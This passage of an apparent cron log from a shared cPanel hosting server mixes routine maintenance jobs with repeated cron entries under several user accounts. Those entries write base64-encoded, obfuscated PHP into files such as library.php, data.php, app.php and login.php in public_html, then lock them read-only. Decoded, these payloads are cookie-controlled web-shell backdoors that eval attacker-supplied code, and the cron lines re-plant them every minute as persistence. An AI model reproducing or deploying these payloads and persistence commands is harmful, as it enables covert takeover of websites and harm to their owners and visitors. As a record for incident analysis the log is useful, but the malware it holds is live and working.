WR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:45:01 medusa CROND[3768]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:45:01 medusa CROND[3772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:45:01 medusa CROND[3781]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:45:02 medusa CROND[3787]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:45:02 medusa CROND[3791]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:45:02 medusa CROND[3792]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:45:02 medusa CROND[3793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:45:02 medusa CROND[3794]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:45:02 medusa CROND[3796]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:45:02 medusa CROND[3797]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:45:02 medusa CROND[3800]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:45:02 medusa CROND[3803]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:45:02 medusa CROND[3804]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:45:02 medusa CROND[3806]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:45:02 medusa CROND[3807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:45:02 medusa CROND[3809]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:45:02 medusa CROND[3795]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:45:02 medusa CROND[3815]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:45:02 medusa CROND[3817]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 09:45:02 medusa CROND[3818]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:45:02 medusa CROND[3819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:45:02 medusa CROND[3823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:45:02 medusa CROND[3799]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:46:01 medusa CROND[5570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:46:01 medusa CROND[5581]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:46:01 medusa CROND[5582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:46:01 medusa CROND[5583]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:46:01 medusa CROND[5584]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:46:01 medusa CROND[5587]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:46:01 medusa CROND[5589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:46:01 medusa CROND[5588]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:46:01 medusa CROND[5590]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:46:01 medusa CROND[5591]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:46:01 medusa CROND[5592]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:46:01 medusa CROND[5594]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:46:01 medusa CROND[5597]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:46:01 medusa CROND[5602]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:46:01 medusa CROND[5603]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:47:01 medusa CROND[7178]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6Omco